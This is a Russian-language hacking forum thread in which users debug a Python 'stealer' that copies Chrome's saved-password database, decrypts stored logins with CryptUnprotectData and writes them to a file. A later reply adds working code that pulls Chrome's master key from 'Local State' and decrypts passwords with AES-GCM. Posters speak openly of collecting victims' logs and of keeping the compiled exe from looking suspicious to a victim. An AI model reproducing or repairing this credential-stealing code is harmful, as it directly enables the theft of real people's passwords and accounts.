вопрос по python стиллеру

Joint?!

Новичок
Статус
offline
Регистрация
17.11.2019
Сообщения
28
Репутация
13
У меня выдает ошибку в консоли, но раньше такого не было.
Python:
def Chrome():
   text = 'Passwords Chrome:' + '\n'
   text += 'URL | LOGIN | PASSWORD' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               text += url + ' | ' + login + ' | ' + password + '\n'
   return text
file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()

Не работает именно вот это
file.write(str(Chrome()) + '\n')
Если все это закомментить то просто придут нулевые логи с одним скриншотом. Про геотулс я молчу, ладно, он полетел, а вот тут - хз
Сама ошибка:
py config.py Traceback (most recent call last): File "config.py", line 56, in <module> file.write(str(Chrome()) + '\n') File "config.py", line 49, in Chrome password = win32crypt.CryptUnprotectData(result[2])[1].decode() pywintypes.error: (87, 'CryptProtectData', 'Параметр задан неверно.')

ХОЧУ ПОДМЕТИТЬ, ЧТО ДАННЫЙ СНИФ РАБОТАЛ, А СЕГОДНЯ ОШИБКА

Прошу помочь мне, спасибо заранее!)
 
Последнее редактирование:

SaliR

Участник
Статус
offline
Регистрация
19.02.2020
Сообщения
85
Репутация
35
думаю, это извращение, писать стиллер на питоне
 

SaliR

Участник
Статус
offline
Регистрация
19.02.2020
Сообщения
85
Репутация
35
На питоне можно писать все что угодно, а для школьников поясню, что писать приватный софт можно и на питоне, даже с одной кнопкой!
я не говорил, что стиллер на питоне не пишется, внимательней читай
 

nerusru

Резидент
Статус
offline
Регистрация
03.08.2016
Сообщения
184
Репутация
151
У меня выдает ошибку в консоли, но раньше такого не было.
Python:
def Chrome():
   text = 'Passwords Chrome:' + '\n'
   text += 'URL | LOGIN | PASSWORD' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               text += url + ' | ' + login + ' | ' + password + '\n'
   return text
file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()

Не работает именно вот это
file.write(str(Chrome()) + '\n')
Если все это закомментить то просто придут нулевые логи с одним скриншотом. Про геотулс я молчу, ладно, он полетел, а вот тут - хз
Сама ошибка:
py config.py Traceback (most recent call last): File "config.py", line 56, in <module> file.write(str(Chrome()) + '\n') File "config.py", line 49, in Chrome password = win32crypt.CryptUnprotectData(result[2])[1].decode() pywintypes.error: (87, 'CryptProtectData', 'Параметр задан неверно.')

ХОЧУ ПОДМЕТИТЬ, ЧТО ДАННЫЙ СНИФ РАБОТАЛ, А СЕГОДНЯ ОШИБКА

Прошу помочь мне, спасибо заранее!)
Ну понятно, что ничего не придет. Ты же комментируешь функцию записи в файл, которая вызывает функцию Chrome(), которая уже берет данные с userdata и декодирует их.
На всех машинах одна проблема или ты только на одной проверял?
Такое чувство, что элемент списка который ты хочешь декодировать просто пустой,ну и собстна из за этого и ошибка, он не может декодировать пустой элемент.
Мож в стилаке есть функция которая после отправки удаляет все сохраненные пароли?
 

mrAsh4r

Новичок
Статус
offline
Регистрация
08.01.2018
Сообщения
1
Репутация
0
В sqlite базе паролей браузера (Login data) находится пароль который начинается либо с большой буквы либо с цифры, так и ломается python
 

nerusru

Резидент
Статус
offline
Регистрация
03.08.2016
Сообщения
184
Репутация
151
В sqlite базе паролей браузера (Login data) находится пароль который начинается либо с большой буквы либо с цифры, так и ломается python
А где именно этот фрагмент кода? Мне кажется, что ячейки с паролями пустые, а исключение просто не обработанное.
 

Cotocat24

Новичок
Статус
offline
Регистрация
02.04.2020
Сообщения
3
Репутация
0
Не работает именно вот это
file.write(str(Chrome()) + '\n')
Если все это закомментить то просто придут нулевые логи с одним скриншотом. Про геотулс я молчу, ладно, он полетел, а вот тут - хз
Сама ошибка:
py config.py Traceback (most recent call last): File "config.py", line 56, in <module> file.write(str(Chrome()) + '\n') File "config.py", line 49, in Chrome password = win32crypt.CryptUnprotectData(result[2])[1].decode() pywintypes.error: (87, 'CryptProtectData', 'Параметр задан неверно.')
ошибка такая же, но мне вообще ничего не приходит. Нашли как её решить?
 

nerusru

Резидент
Статус
offline
Регистрация
03.08.2016
Сообщения
184
Репутация
151
Не работает именно вот это
file.write(str(Chrome()) + '\n')
Если все это закомментить то просто придут нулевые логи с одним скриншотом. Про геотулс я молчу, ладно, он полетел, а вот тут - хз
Сама ошибка:
py config.py Traceback (most recent call last): File "config.py", line 56, in <module> file.write(str(Chrome()) + '\n') File "config.py", line 49, in Chrome password = win32crypt.CryptUnprotectData(result[2])[1].decode() pywintypes.error: (87, 'CryptProtectData', 'Параметр задан неверно.')
ошибка такая же, но мне вообще ничего не приходит. Нашли как её решить?
Ладно блять.
Как ты проверяешь работоспособность?
 

Твоя мама

Новичок
Статус
offline
Регистрация
08.01.2023
Сообщения
2
Репутация
0

Найден ответ на ваш вопрос, если вы конечно умеете искать
Как я понял голая функция CryptUnprotectData не сойдет
Нужно с начала получить ключ для расшифровки с папки Local State в User Data(да и там нужно еще расшифровывать для получения ключа с помощью библиотеки base64) и еще пару извращений со строкой

Ну даже если так, я бы чуть чуть изменил тот код, который на stackoverflow

def get_master_key(): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) master_key = win32crypt.CryptUnprotectData(master_key[5:], None, None, None, 0)[1] return master_key def decrypt_password(buff, master_key): iv = buff[3:15] payload = buff[15:] cipher = AES.new(master, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass[:-16].decode() return decrypted_pass
И под конец для основной расшифровки пароля: decrypt_password(encrypted_password, master_key)
Где переменная master_key = get_master_key()
 
Последнее редактирование:

Твоя мама

Новичок
Статус
offline
Регистрация
08.01.2023
Сообщения
2
Репутация
0
у меня пачка из 50 логов на пк, собранные стиллером на питоне и что?
Ну по факту, при компиляции этого файла в exe как вы знаете выйдет тяжелый файл
Не подозрительно ли будет для жертвы увидеть этот обьем?